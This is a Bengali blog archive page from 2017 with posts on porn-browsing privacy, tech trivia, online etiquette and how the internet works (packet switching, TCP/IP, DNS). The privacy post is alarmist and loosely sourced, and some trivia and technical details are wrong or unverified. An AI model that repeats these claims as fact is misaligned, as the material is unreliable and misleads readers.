Wednesday, August 30, 2017

সাবধান সাবধান – আপনি যদি অনলাইনে একটিও পর্নোগ্রাফি দেখেন তাহলে এর ব্রউসিং ইতিহাসে আপনার নাম ও পরিচয় সারা বিশ্বের কাছে উন্মুক্ত হয়ে যাবে

অনেকেই আছেন যারা লুকিয়ে পর্নোগ্রাফি দেখেন, কিন্তু এখন থেকে পর্নোগ্রাফি দেখার আগে খুব বশি সাবধান থাকুন কারন আমেরিকান একজন জনপ্রিয় ব্লগার কিছু বিশ্লেষণ করে সতর্ক করে দিয়ে বলেছেন, আপনি যদি অনলাইনে একটি পর্নোগ্রাফি দেখেন তাহলে এর ব্রউসিং ইতিহাসে আপনার নাম ও পরিচয় সারা বিশ্বের কাছে উন্মুক্ত হয়ে যাবে।
সান ফ্রান্সিসকোর একজন সফ্টওয়্যার ইঞ্জিনিয়ার ব্রেট টমাস তার ব্লগে লিখেছেন, ২০১৫ সালের মাঝা মাঝি সময়ে কেউ যদি ছদ্মবেশেও একটি পর্ন সাইটে প্রবেশ করে পর্ন ভিডিও বা ছবি দেখে তাহলে তার পরিচয় পর্ন সাইটের ইতিহাসে পাওয়া যাবে।
২০১৪ সালে হ্যাকাররা ১৩ হাজারেরও বেশি এক্সবক্স ও প্লে-স্টেশন হ্যাক করে। এছাড়াও অনলাইনে কেনা-কাটা ও ব্যাংকিং লেনদেন করার জন্য অনেকে ব্যাংক হিসাবের পাসওয়ার্ড আদান প্রদান করেন। যার কারণে অনেকে হেকিংয়ের স্বীকার হয়।
ব্রাউজার ব্যবহারকারীকে শনাক্ত এবং বেনামী ইন্টারনেট ব্যবহারকারীদেরও সম্ভাব্য পরিচয় পাওয়া যাবে। গত বছর ফোরচান নামক একটি ওয়েব সাইট থেকে একশো’র বেশি তারকার পর্ন ছবি চুরি করা হয়।
টমাস তার ব্লগে আরো লিখেছেন, যদি পর্ন সাইটে এই হ্যাকার শনাক্তের পদ্ধতি চালু করা হয় তাহলে বিতর্কের ঝড় ওঠার সম্ভবনা রয়েছে। তাই নিজের সম্মান নিজে ধরে থাকুন এবং বন্ধুদের প্লিজ লিখাটি শেয়ার করুন। ধন্যবাদ। 

Labels:

Saturday, August 26, 2017

প্রযুক্তি নিয়ে মজার সব তথ্য

মজার মজার তথ্য জানতে আমাদের সবারই অনেক ভালো লাগে। সব বিষয়েই নানান মজার তথ্য আছে। প্রযুক্তি নিয়েও আছে অনেক মজার তথ্য। আমাদের চারদিক এখন প্রযুক্তিতে ঘেরা। এত এত প্রযুক্তি যে আমরা এখন সহজে বুঝতেও পারিনা প্রযুক্তি দিয়ে আমরা কতটুকু আচ্ছন্ন। আমাদের গায়ের জামা, জুতো থেকে শুরু করে সবই প্রযুক্তি। থাক আর কথা না বাড়াই। চলুন কিছু তথ্য জানি।
১. দিয়াশলাই এবং লাইটার আমরা সবাই চিনি। সবাই দেখেছি ব্যাবহার করেছি। দিয়াশলাই দেখতে অতি সাধারণ,
লাইটার এর তুলনায় অনেক আধুনিক মনে হয়। কি তাইনা? কিন্তু জানেন কি লাইটার দিয়াশলাইয়ের আগে আবিষ্কৃত হয়। আগে লাইটার আসছে এরপর দিয়াশলাই। :-O
২. Windmills বা বায়ুকল আপনারা কে কে দেখেছেন?
না দেখলেও নাম অবশ্যই শুনেছেন। আমাদের দেশের ফেনী জেলার সোনাগাজী তে আছে বায়ুকল। বায়ুকলে এর পাখাগুলো এন্টিক্লকে ঘুরে। অর্থাৎ ঘড়ির কাটার উল্টো দিকে ঘুরে। কিন্তু একমাত্র আয়ারল্যান্ডে এগুলো ঘড়ির কাটার দিকে ঘুরে। এখন কেন ঘুরে তা খুঁজে বের করার দায়িত্ব আপনাদের। 😛
৩. পৃখিবীতে প্রথম যে এলার্মক্লকটি তৈরী করা হয় তা শুধুমাত্র সকাল ৪টায় এলার্ম দিতো। কি কেউ চান এই ঘড়িটি? ঘুম শেষ 😛
৪. BMW গাড়ির কথা সবাই শুনেছি। যতটুকু জানি অনেক দামী গাড়ি। বিশ্বের সবচেয়ে দামী গাড়ি তৈরী করে এই কোম্পানী। কিন্তু জানেন কি এই কোম্পানিটি ছিল বিমানের ইঞ্জিন তৈরী করার জন্য। পরে এটি গাড়ি তৈরী করা শুরু করে এবং সাফল্যতো চোখের সামনেই।
৫. জানেন কি একটি সাধারণ কার(car) তৈরী করতে নাকি প্রায় ৩৯০৯০ গ্যালন পানি লাগে। :-O আমার নিজেরই বিশ্বাস হয়না এই কথা। কিন্তু নেটে এটার অনেক রেফারেন্স। একটি টায়ার তৈরী করতেই নাকি ৫১৮ গ্যালনের মত পানি লাগে। আপনাদের কি বিশ্বাস হয়? আমার হয় না।
————— আজ থাক। আরও এমন তথ্য লিখার ইচ্ছে আছে আপনারা জানতে চাইলে। আর আপনারাও নেটে দেখুন অনেক এমন মজার তথ্য পাবেন। তবে সব তথ্য বিশ্বাস করবেন না। আগে যাচাই করে নিবেন। আমার তথ্যগুলোতে ভুল থাকলেও জানাবেন। ধন্যবাদ আপনাদের।

অনলাইনে যে ভুলগুলো করবেন না কখনো

আজকাল অনলাইনে আপনার সময় কাটছে অনেক বেশি। বেশ কিছু বিষয় আপনার মনে খুবই আকর্ষণ সৃষ্টি করেছে। কোনো ব্যাপারে তেমন কোনো খটকা লাগেনি আপনার। আপনার এই সরল বিশ্বাসের ফাঁকে জন্মে যাচ্ছে অবিশ্বাস্য অনেক ঘটনা। প্রতিনিয়ত আপনি হয়তো জন্ম দিচ্ছেন ভুল কোনো ধারণার। আবার আপনার চোখেও ধরা পড়ছে অসামঞ্জস্য কোনো কিছু। যেমন-
 * আপনি কোনো সামাজিক মাধ্যমে নিজেকে তুলে ধরেছেন বন্ধু হিসেবে। কিন্তু সেখানে কি নিজের সম্পর্কে পুরোপুরি তথ্য তুলে ধরেছেন? ঠিক এমনিভাবে অপরদিক থেকেও আপনার বন্ধুও হয়তো নিজের পরিচয় গোপন রেখেছেন। আর এখানেই কিছু ভুলের জন্ম হচ্ছে। অনলাইনে পরিচয়ের পর বন্ধুত্বের খাতিরে অনেকের অনেক ধরনের সিদ্ধান্তও নিতে দেখা গেছে। তারপর পড়ে যান নানা সমস্যায়। তাই এখন থেকেই সাবধান।
* ধরুন, বন্ধুকে আপনি কোনো বার্তা পাঠালেন কিন্তু কোনো সাড়া পেলেন না। তখন বার বার চেষ্টা চালাতে লাগলেন। এতে বন্ধুটি বিরক্ত হচ্ছেন, এমন আচরণে আপনিও হয়তো বিরক্ত হতেন। তাই অপরের বিরক্ত করা থেকে দূরে থাকুন, নিজেও বিরক্তমুক্ত থাকুন।
* নিজের প্রফাইলে সব ধরনের মিথ্যাকে এড়িয়ে চলা উচিৎ। হয়তো অন্যের ছবিও ব্যবহার কেরছেন আপনি। এতে যেমন নিজেকে ছোট করছেন, তেমনি অপরকে ধোকায় ফেলছেন। যদি কখনো প্রমাণিত হয় আপনি এমন প্রতারক, তাহলে আপনার সম্মান ধরে রাখা কি আর সম্ভব?
* ইদানিং অনলাইনে পরিচিত হওয়ার কিছুদিনের মধ্যেই অপর পক্ষ থেকে দেখা করতে চাওয়া হয়। দেখা করতে ইচ্ছুকদের ৯০ শতাংশই দেখা যায় পুরুষ, নারী থাকে ১০ শতাংশ। এক্ষেত্রে দেখা করতে যাওয়া ব্যক্তি যে কোনো ধরনের প্রতারণার শিকার হবেন না তার কোনো নিশ্চয়তা নেই। তাই অনলাইনে পরিচিতর সঙ্গে দেখা করতে যাওয়ার আগে সাবধান!
* অনেক কথার ভিড়ে বন্ধুকে টাকা-পয়সা বা পারিবারের জিজ্ঞেস করলেন। আপনি হয়তো খুব সাধারণভাবে তাকে এসব বিষয়ে প্রশ্ন করলেন, কিন্তু সেআপনাকে সন্দেহ করে বসতে পারে। তার দিক থেকে এমন কোনো কথা শুনলেন যে মেজাজকে আর সামাল দিতে পারলেন না।
* আপনার প্রফাইলে ব্যবহৃত যেকোনো ছবি হয়তো অন্যের কাছে খুবই খারাপ লাগতে পারে। বাজে কোনো মন্তব্যও করতে পারে। হয়তো আপনার ব্যক্তিত্ব সম্পর্কে তারা একেবারেই অবগত না থেকে অন্যভাবে ভাবতে শুরু করবে। তখন অস্বস্তির আর সীমা থাকবে না। তাই অনলাইনে বন্ধুত্ব করার আগে ভাবুন আরও একবার।

Labels:

ইন্টারনেট কি? | ইন্টারনেট কীভাবে কাজ করে? | নিশ্চিত করে বলতে পারি, ইন্টারনেট নিয়ে এতো বিস্তারিত আগে কখনোয় জানতেন না!

যখন আপনি ইন্টারনেট এ কারো সাথে চ্যাট করেন কিংবা কাওকে মেইল সেন্ড করেন তখন কখনো কি ভেবে দেখেছেন যে এই কাজ গুলো সম্পূর্ণ হতে কতোগুলো আলাদা কম্পিউটার একসাথে কাজ করে যাচ্ছে? আপনি টেবিলে বা কোলে আপনার কম্পিউটার নিয়ে বসে আছেন, আর আরেক প্রান্তে আপনার বন্ধু কম্পিউটার নিয়ে প্রস্তুত হয়ে বসে আছে আপনার সাথে যোগাযোগ করার জন্য। কিন্তু আপনি আর আপনার বন্ধুর কম্পিউটারের ফাঁকের মধ্যে আরো ডজন খানি কম্পিউটার রয়েছে যা আপনার আর আপনার বন্ধুর কম্পিউটারের মধ্যের ফাঁকা স্থান পূরণ করছে। আর এভাবেই একটি কম্পিউটারের সাথে আরেকটি কম্পিউটার সংযুক্ত রয়েছে গোটা পৃথিবী জুড়ে আর এটাই হলো দ্যা ইন্টারনেট। কিন্তু এই আলদা আলদা কম্পিউটার গুলো নিজেদের ভেতর সম্পর্ক স্থাপন করতে সক্ষম হয় কীভাবে? বন্ধুরা চলুন এই সমস্ত বিষয়টি একদম কাছ থেকে পরিদর্শন করে আসি।

ইন্টারনেট কি?

বৈশ্বিক যোগাযোগ ব্যাবস্থা এখন অনেক উন্নত হয়ে গেছে আর এই সবই কৃতিত্ব তার, যার নাম হলো ইন্টারনেট। গত ২০ বছরেরও কম সময়ের মধ্যে মোটামুটি ২১০টি আলাদা দেশের মধ্যে ছড়িয়ে পড়েছে এর বিস্তার। এমনকি পৃথিবীর অনেক দরিদ্রতর দেশও সংযুক্ত হয়ে পড়েছে এই জালে।
আপনি আমি সহ বেশিরভাগ মানুষই মনে করেন যে, ইন্টারনেট শব্দটির মানে হচ্ছে অনলাইনে চলে যাওয়া। কিন্তু সত্য কথা বলতে এটি একটি সাধারন কম্পিউটার নেটওয়ার্ক ছাড়া আর কিছুই নয়। মনেকরুন একটি রাস্তার কথা যা পুরো পৃথিবী জুড়ে পেঁচিয়ে রয়েছে। যেমন করে রাস্তা দিয়ে ট্র্যাফিক বয়ে গিয়ে তার গন্তব্যে পৌঁছে ঠিক তেমনি বিভিন্ন কম্পিউটার দিয়ে ডাটা বয়ে গিয়ে তার গন্তব্যে পৌঁছে। আর এটাই হলো ইন্টারনেট এর মূল ভিত্তি। ইন্টারনেট হলো আসলে একেকটি আলাদা কম্পিউটারের একসাথে সংযুক্ত হয়ে থাকার একটি সিস্টেম (আপনার ঘরের কম্পিউটার, অফিসের কম্পিউটার, স্কুল কলেজের কম্পিউটার)।
একটি কম্পিউটারের সাথে আরেকটি কম্পিউটারের সংযোগ করা থাকে বিভিন্ন উপায়ে। কোন কম্পিউটার গুলো সংযুক্ত থাকে পুরাতন কপার ক্যাবল দ্বারা আবার কোন গুলো ফাইবার-অপটিক ক্যাবল (যা আলোর স্পন্দনের মধ্যে ডাটা সেন্ড করে) দ্বারা আবার কোন কম্পিউটার গুলো বেতার কানেকশানে যুক্ত থাকে (বেতার কানেকশান মানে আমরা যাকে ওয়্যারলেস বুঝি, এটি রেডিও তরঙ্গের মাধ্যমে সংযোগ স্থাপন করে) এবং কোন কম্পিউটার গুলো স্যাটালাইটের সাথে সংযুক্ত থাকে। আর এইভাবেই আমরা উপভোগ করতে পারি ইনস্ট্যান্ট ম্যাসেজ সুবিধা, ইমেইল সেবা, অথবা ডাউনলোড করি এমপিথ্রী মিউজিক ফাইলস।

ইন্টারনেটের আসল কাজ কি?



ইন্টারনেটের চাকরিটা আসলে খুব সহজ, সে শুধু এক জায়গা থেকে আরেক জায়গায় ডাটার আদান এবং প্রদান করে, ব্যাস। যে মেশিন গুলো একত্রিত হয়ে ইন্টারনেট তৈরি করেছে তাদের প্রধান কাজই হলো ডাটা আদান আর প্রদান। বাস্তবিকভাবে তুলনা করতে গেলে ইন্টারনেটকে পোস্টাল সার্ভিসের সাথে তুলনা করা যায়।
পোস্টাল সার্ভিসে চিঠি এক জায়গা থেকে আরেক জায়গায় আদান প্রদান করা হয়। কিন্তু এটা কোন ব্যাপার না যে চিঠি কার কাছ থেকে আসলো বা চিঠির ভেতর কি লেখা আছে। আবার চিঠি একদম ফাঁকা থাকলেও পোস্টাল সার্ভিসের কোন যায় আসে না। তার কাজ চিঠি পৌঁছানো ব্যাস তা পৌঁছে দেবে। ইন্টারনেটও একইভাবে কাজ করে।
পোস্টাল সার্ভিসের মতো ইন্টারনেটও অনেক তথ্য ধারণ করে তা এক জায়গা থেকে আরেক জায়গায় পৌঁছে দেয়। এরমানে হলো যদি কোন ডাটা আদান প্রদান করানো হয় তবে ইন্টারনেট সেটি সম্পূর্ণ করে দেবে। এখন আপনি ইমেইল পাঠালেন না কাওকে ম্যাসেজ করলেন এর সাথে ইন্টারনেটের কোন লেনাদেনা নেই। তবে যে কাজেই ডাটা আদান প্রদান করার বিষয় আছে সেটিই ইন্টারনেট সম্পূর্ণ করতে সাহায্য করবে, ব্যাস। এখন এই ডাটা আদান প্রদানের সূত্রের উপর ভিত্তি করে আমরা নতুন নতুন ব্যবহার খুঁজে বেড় করছি। যেমন যখন দুই ইউরোপিয়ান বিনিয়োগকারী স্কাইপ তৈরি করলেন তখন তারা টেলিফোনের কথা বলাকে নেটে নিয়ে আসলেন। তারা একটি প্রোগ্রাম তৈরি করলেন যেখানে আমাদের কথা ডাটাতে পরিণত হতে পারে এবং তা আদান প্রদানের মাধ্যমে কথাবার্তা চলতে থাকে। কিন্তু কখনোয় সরাসরি আমাদের কথা আদান প্রদান করিয়ে স্কাইপের জন্য আলাদা ইন্টারনেট তৈরি করা সম্ভব ছিল না।

ইন্টারনেটের ডাটা গুলো কীভাবে আদান প্রদান করা হয়?

ইন্টারনেট মূলত টেলিফোন নেটওয়ার্ক এর মতো কাজ করে থাকে। কিন্তু ইন্টারনেটের ডাটা বহন করা আর টেলিফোন লাইনে কল করা আলাদা ব্যাপার। আপনি যখন আপনার কোন বন্ধুকে রিং করেন তখন আপনার টেলিফোনে আপনি এবং আপনার বন্ধুর মধ্যে একটি সরাসরি কানেকশান (বা সার্কিট) ওপেন হয়ে যায়। আপনি যতক্ষণ টেলিফোনে কানেক্ট হয়ে থাকেন, সার্কিটটি ততোক্ষণ ওপেন হয়ে থাকে। একটি টেলিফোনের সাথে আরেকটি টেলিফোনকে কানেক্ট থাকার পদ্ধতিকে সার্কিট সুইচিং বলা হয়। কখন কার কথা শোনা যাবে আর কার কথা পাঠানো হবে তা নিয়ন্ত্রন করে ইলেক্ট্রনিক টেলিফোন এক্সচেঞ্জ সিস্টেম।
কিন্তু বন্ধুরা একটু ভেবে দেখলে বুঝতে পারবেন যে, সার্কিট সুইচিং কোন নেটওয়ার্ক স্থাপন করার জন্য সত্যিই অদক্ষ একটি পদ্ধতি। আপনি যখনই ফোনে আপনার বন্ধুর সাথে সংযুক্ত হয়ে থাকবেন তখন সেই লাইনে আপনার সাথে অন্য কেউ সম্পর্ক স্থাপন করতে পারবেনা। (মনে করুন, আপনি কাওকে একটি ইমেইল টাইপ করছেন, টাইপ করতে ঘণ্টা লেগে যেতে পারে, আর এই সময়ে যদি আপনাকে আর কেউ কোন মেইল সেন্ড করতে না পারে তবে?) মনে করুন আপনি টেলিফোনে অনেক ধিরেধিরে কথা বলছেন বা কথা বলতে বলতে লম্বা ফাঁকা নিচ্ছেন বা কথা বলতে গিয়ে ফোন রেখে কফির মগ আনতে গেলেন। তো আপনি তো তখন কোন তথ্য প্রেরন করছেন না, কিন্তু তারপরেও আপনার ফোন আপনার বন্ধুর ফোনের সাথে কানেক্টেড হয়ে রয়েছে। আপনাকে প্রত্যেকটা সেকেন্ডের জন্য বিল চার্জ করা হচ্ছে এবং আপনি কথা বলুন আর নাই বলুন ফোন কানেক্টেড থাকা মানে আর অন্য কেউ সেই লাইনে ফোন করতে পারবে না। তাই সার্কিট সুইচিং কখনোয় আদর্শ নেটওয়ার্ক হতে পারে না। তাহলে ইন্টারনেট কি ধরনের নেটওয়ার্ক ব্যবহার করে ডাটা বহন করে?

প্যাকেট সুইচিং

ইন্টারনেট তার ডাটা বহন করতে এখনো কখনো কখনো সার্কিট সুইচিং পদ্ধতি ব্যবহার করে থাকে। যেমন আপনি যদি ডায়াল-আপ কানেকশান (যেখানে আপনার কম্পিউটার আপনার ইন্টারনেট প্রদানকারীর কাছে পৌঁছাতে একটি টেলিফোন নাম্বার ডায়াল করে, আর এটি কোন সাধারন ফোন কলের মতোই কাজ করে) ব্যবহার করেন ইন্টারনেটের সাথে সংযুক্ত হতে। এখানে আপনি অনলাইনে আসার জন্য সার্কিট সুইচিং পদ্ধতি ব্যবহার করলেন। তাই আমি কানেক্টেড থাকা পর্যন্ত কেউ আপনাকে ফোন করতে পারবেনা। এবং আপনাকে কানেক্ট থাকার প্রত্যেক সেকেন্ডের জন্য টাকা দিতে হবে। এবং বদলে আপনার নেট কানেকশান কাজ করবে একদম কচ্ছপ গতিতে।
কিন্তু বেশিরভাগ ইন্টারনেট ডাটা বহন করা হয়ে থাকে সম্পূর্ণ নতুন এক পদ্ধতিতে যার নাম হলো প্যাকেট সুইচিং। মনে করুন আপনি আপনার কোন ইন্ডিয়ান বন্ধুকে ইমেইল পাঠাতে চাচ্ছেন। তো এখানে আপনার ইন্ডিয়ান বন্ধু এবং আপনাকে সরাসরি কানেক্টেড থাকার কোন প্রয়োজন নেই এই সম্পূর্ণ মেইলটি একবারে পাবার জন্য। প্যাকেট সুইচিং এ আপনার মেইলটি পাঠানোর পরে তা অনেক গুলো খণ্ডে বিভক্ত হয়ে যায়। আর এই প্রত্যেকটি খণ্ডকে বলা হয়ে থাকে প্যাকেটস। প্রত্যেকটি প্যাকেটের গায়ে ট্যাগ করা থাকে যে তাদের কথায় যেতে হবে এবং তারা আলদা আলদা পথে ভ্রমণ করতে পারে। খণ্ডগুলো যখন তাদের গন্তব্যে পৌঁছে যায় তখন সেগুলো আবার একত্রিত হয়ে যায়, যাতে তা মেইল রূপে প্রদর্শিত হতে পারে।
প্যাকেট সুইচিং পদ্ধতি সার্কিট সুইচিং পদ্ধতি হতে অনেক বেশি দক্ষ হয়ে থাকে। আপনার কখনোয় প্রয়োজন পড়বে না কারো সাথে একেবারে কানেক্টেড হয়ে থাকার। তাই আপনি কারো লাইন একদমই বন্ধ করে রাখছেন না। অন্য কেউ একই সময়েই একই লাইন ব্যবহার করতে পারে। এবং নির্দিষ্ট প্যাকেট গুলো ঠিক মতোই আপনার ঠিকানায় পৌঁছে যাবে। যেহেতু প্যাকেট গুলো আলাদা আলাদা পথে ভ্রমন করে পৌছায় তাই কোন বাঁধা বিঘ্ন ঘটে না। ফলে অনেক ফাস্ট স্পীড দেখতে পাওয়া যায়।

প্যাকেট সুইচিং কীভাবে কাজ করে?

প্যাকেট সুইচিং কীভাবে কাজ করে তা বোঝার আগে আপনার বোঝা দরকার যে কীভাবে সার্কিট সুইচিং কাজ করে তার সম্পর্কে। মনে করুন আপনি অ্যামেরিকাতে থাকেন এবং বাংলাদেশে চলে আসার প্লান করলেন। মনে করুন আপনি শুধু আপনার মালপত্র নয় বরং সাথে আপনার বিল্ডিং ও তুলে নিয়ে আসার কথা ভাবছেন 😛 তবে ভেবে দেখুন একটি দুঃস্বপ্নের কথা যেখানে পৃথিবীর এক প্রান্ত থেকে আরেক প্রান্তে আপনার গোটা বাড়ি বহন করে নিয়ে আসছেন। তাহলে আপনাকে কি করতে হবে?
প্রথমত একটি এমন রাস্তা দেখতে হবে যা দিয়ে সহজে আপনি ভ্রমন করতে পারবেন। তারপরে আপনার কিছু ট্রাকের প্রয়োজন পড়বে। এবং সমুদ্র পার করার জন্য আপনার প্রয়োজন পড়বে একটি স্পেশাল জাহাজ। ভেবে দেখুন পুরা ব্যাপারটা কতটা কঠিন হয়ে পড়লো। আর এতো কিছু একসাথে বহন করার জন্য আপনি কয়েকদিন পিছিয়ে যাবেন। কারন আপনার গন্তব্য অনেক স্ল্যো হয়ে যাবে। আবার ঐ একই রাস্তায় যদি অন্যকেউ আসার চেষ্টা করে তবে সেও বাঁধাগ্রস্থ হয়ে পড়বে। আসলে সার্কিট সুইচিং পদ্ধতি এই একইভাবে কাজ করে। এবং এই পদ্ধতিতেই টেলিফোন কল হয়ে থাকে।
এখন আরেকটি অবস্থা কল্পনা করুন। মনে করুন আপনি আপনার বিল্ডিংটি খুলে ফেললেন এবং প্রত্যেকটা ইট নাম্বারিং করলেন। প্রত্যেকটি ইটকে একেকটি খামে ভরলেন এবং একেকটি পথে তা আপনার গন্তব্যের উদ্দেশ্যে পাঠিয়ে দিলেন। কোন গুলো গেলো হয়তো জাহাজে আবার কোন গুলো গেলো হয়তো আকাশ পথে। তারপর যখন সব ইটগুলো একত্রে পৌঁছে গেলো তখন ইটগুলোর নাম্বার গুলো মিলিয়ে আবার আগের বিল্ডিং তৈরি হয়ে যাবে। যেহেতু ইটগুলো আলাদা আলাদা রাস্তা দিয়ে ভ্রমন করে এসেছে তাই রাস্তায় কোন জ্যামের সৃষ্টি করবে না। এবং অন্যরা একই সময়ে একই রাস্তা ব্যবহার করতে পারবে।
আর ঠিক এই পদ্ধতিতেই প্যাকেট সুইচিং কাজ করে। যখন আপনি ইমেইল করেন বা ব্রাউজার দিয়ে কোন সাইট ব্রাউজ করেন তখন সকল ডাটাগুলো অনেক গুলো প্যাকেটে বিভক্ত হয়ে যায় এবং তা ইন্টারনেটে ছড়িয়ে পড়ে।

কীভাবে কম্পিউটাররা ইন্টারনেটে বিভিন্ন কাজ করে থাকে?

পুরো ইন্টারনেট জুড়ে শতশত মিলিয়ন কম্পিউটার রয়েছে। কিন্তু এরা প্রত্যেকেই কিন্তু একই কাজ করে না। এদের মধ্যে কিছু কম্পিউটার শুধু তথ্য সংগ্রহ করে রাখে এবং কোন তথ্য কোথাও থেকে অনুরোধ করা হলে সেখানে পাঠিয়ে দেওয়া হয়। আর এই মেশিন গুলোকে বলা হয় সার্ভার। যে মেশিন গুলো কোন ডকুমেন্ট স্টোর করে রাখে তাদের বলা হয় ফাইল সার্ভার। যে সার্ভার গুলো আপনার আমার মেইল ধারণ করে রাখে, এদের বলা হয় মেইল সার্ভার। এবং যে সার্ভার গুলো ওয়েবপেজ ধারণ করে রাখে তাদের বলা হয় ওয়েব সার্ভার। ইন্টারনেটে বহুত মিলিয়ন সার্ভার রয়েছে।
যে কম্পিউটার গুলো সার্ভার থেকে তথ্য সংগ্রহ করে এদের বলা হয় ক্লায়েন্ট কম্পিউটার। আপনি যখন মেইল চেক করার জন্য ইন্টারনেটে প্রবেশ করেন তখন আপনার কম্পিউটারটি হলো ক্লায়েন্ট, আপনার আইএসপি (ইন্টারনেট সার্ভিস প্রভাইডার) হলো সার্ভার এবং মেইলটি আসে মেইল সার্ভার থেকে। ইন্টারনেটে সার্ভারের তুলনায় ক্লায়েন্টের সংখ্যা বেশি, প্রায় বিলিয়ন খানেক।
যখন দুটি কম্পিউটার একে অপরের সাথে তথ্য আদান প্রদান করতে থাকে তখন একে বলা হয়ে থাকে পিরস (Peers)। আপনি যদি আপনার বন্ধুর সাথে ইনস্ট্যান্ট ম্যাসেজিং করেন বা ফটো আদান প্রদান করেন তবে এটি হলো পির টু পির (peer-to-peer) (P2P) কমুনিকেসন। পি টু পি তে কখনো আপনার কম্পিউটার ক্লায়েন্ট হিসেবে আচরন করে আবার কখনো আপনার কম্পিউটার সার্ভার হসেবে আচরন করে। মনে করুন আপনি আপনার বন্ধুকে ফটো সেন্ড করলেন, তখন আপনার কম্পিউটার সার্ভার হিসেবে কাজ করলো (ফটো সেন্ড করলো)। এবং আপনার বন্ধুর কম্পিউটার ক্লায়েন্ট হিসেবে কাজ করবে (ফটো অ্যাক্সেস করবে)। আবার আপনার বন্ধু ফটো সেন্ড করলে তার কম্পিউটার সার্ভার হিসেবে কাজ করবে (ফটো সেন্ড করলো) আর আপনার কম্পিউটার এবার ক্লায়েন্ট হিসেবে কাজ করবে (ফটো অ্যাক্সেস করবে)।
শুধু সার্ভার এবং ক্লায়েন্ট ছাড়াও আরেকটি মধ্যম কম্পিউটার রয়েছে যা ইন্টারনেটের আরেকটি অংশ। আর এর নাম হলো রাউটার। এটি শুধু আলাদা সিস্টেমের মধ্যে সংযোগ স্থাপন করতে সাহায্য করে থাকে। আপনার বাড়িতে বা স্কুলে বা অফিসে যদি একাধিক কম্পিউটার থাকে তবে রাউটার সকলকে একত্রিত করে ইন্টারনেটে কানেক্ট করতে সাহায্য করে।

টিসিপি/আইপি (TCP/IP) এবং ডিএনএস (DNS)

ইন্টারনেটে ডাটা আদান প্রদান করার আসল ব্যাপারটি কিন্তু মোটেও কোন ঘরের ইট খামে করে বহন করার মতো সহজ নয়। ইন্টারনেটের ডাটা গুলো কোন মানুষ যেমন আপনি বা আমি দ্বারা নিয়ন্ত্রন করা সম্ভব নয়। প্রত্যেকটি দিন নেটে অসংখ্য ডাটা আদান প্রদান করা হয়ে থাকে—খসড়া ভাবে প্রায় ৩ বিলিয়ন ইমেইলস এবং প্রচুর পরিমানে ট্র্যাফিক বিভিন্ন ডাটা ডাউনলোড এবং আপলোড করছে বিশ্বের ২৫০ মিলিয়ন ওয়েবসাইট জুড়ে। এখন প্রশ্ন হচ্ছে যদি এই সকল ডাটা গুলোকে প্যাকেটে পরিণত করে পাঠানো হয়ে থাকে এবং কারো যদি কোন কন্ট্রোলই না থাকে তবে কীভাবে এই প্যাকেট গুলো না হারিয়ে প্রত্যেকে আসল গন্তব্যে পৌঁছে যায়?
আর এর উত্তর হচ্ছে টিসিপি/আইপি (TCP/IP) বা ট্রান্সমিশন কন্ট্রোল প্রোটোকল/ইন্টারনেট প্রোটোকল। এই সিস্টেমটিই সকল প্যাকেট গুলোকে গন্তব্যে পৌঁছে দিতে সাহায্য করে। এটি বলতে পারেন টু ইন ওয়ান সিস্টেম। কম্পিউটারের দুনিয়ায় “প্রোটোকল” মানে হলো একটি স্ট্যান্ডার্ড যা প্রত্যেকে বিশ্বাস করে এবং সকল জিনিষ নিশ্চিতভাবে পৌঁছে গেছে তা নিশ্চিত করে। এখন আপনার মনে অবশ্যই প্রশ্ন জাগছে যে, টিসিপি/আইপি আসলে কি কাজ করে? চলুন জেনে নেওয়া যাক।
ইন্টারনেট প্রোটোকল বা আইপি হলো একটি সাধারন অ্যাড্রেসিং সিস্টেম। ইন্টারনেটে অবস্থিত সকল মেশিন আমারটা আপনারটা সবারটাতেই একটি ভিন্ন আইপি থাকে। যখন প্রত্যেকটি মেশিনে আলাদা আলাদা আইপি থাকবে তখন কোন মেশিন কোনটা তা সহজেই চেনা যাবে এবং সে অনুসারে প্যাকেট পাঠানো সম্ভব হয়ে থাকে। আইপি অ্যাড্রেস মূলত কিছু সংখ্যার সন্নিবেশ হয়ে থাকে। এবং সংখ্যা গুলো কমা বা কোলন ব্যবহার করে আলাদা করা হয়ে থাকে।
ওয়েবসাইটের ক্ষেত্রে ব্যাপারটা একটু আলাদা হয়ে থাকে। ওয়েবসাইটে আইপির বদলে সহজে মনে রাখার জন্য নাম ব্যবহার করা হয়ে থাকে। যেমন (Techubs.Net)। এই সিস্টেমের নাম হলো ডিএনএস বা ডোমেইন নেম সার্ভার। ডোমেইন নেম ব্রাউজারে প্রবেশ করানোর পড়ে কম্পিউটার এই আইপি খুঁজতে আরম্ভ করে এবং আইপি খুঁজে পেলে ওয়েব সার্ভার থেকে সাইট ওপেন হয়ে যায়।
আইপি মূলত দুই প্রকারের হয়ে থাকে। একটি হলো IPv4 এবং আরেকটি IPv6। আইপিভি৪ এ চার খণ্ডের ডিজিট থাকে। যেমন 12.34.56.78 অথবা 123.255.212.55। কিন্তু দ্রুত বর্ধমান ইন্টারনেট জগতে আজ আর নতুন কোন আইপিভি৪ অ্যাড্রেস অবশিষ্ট নেই। তাই নতুন এক সিস্টেম উদ্ভবন করা হয়েছে যার নাম হলো আইপিভি৬। এটি আইপিভি৪ এর তুলনায় অনেক লম্বা। 123a:b716:7291:0da2:912c:0321:0ffe:1da2 হলো আইপিভি৬ এর উদাহরণ।
এই কন্ট্রোল সিস্টেমের আরেকটি অংশ হলো ট্রান্সমিশন কন্ট্রোল প্রোটোকল বা টিসিপি। এই সিস্টেমটি নির্ধারণ করে যে, একটি আইপি থেকে আরেকটি আইপিতে কীভাবে প্যাকেট সেন্ড করতে হবে। এবং এই সিস্টেমটি রিসিভ হওয়া প্যাকেট গুলোকে একত্রিত করে। আবার প্যাকেট সেন্ড করার সময় কোন প্যাকেট হারিয়ে গেলে আবার রি-সেন্ড করে।




Labels:

Thursday, August 24, 2017

ইন্টারনেটে কাজ করে অর্থ উপার্জন করার উপায়

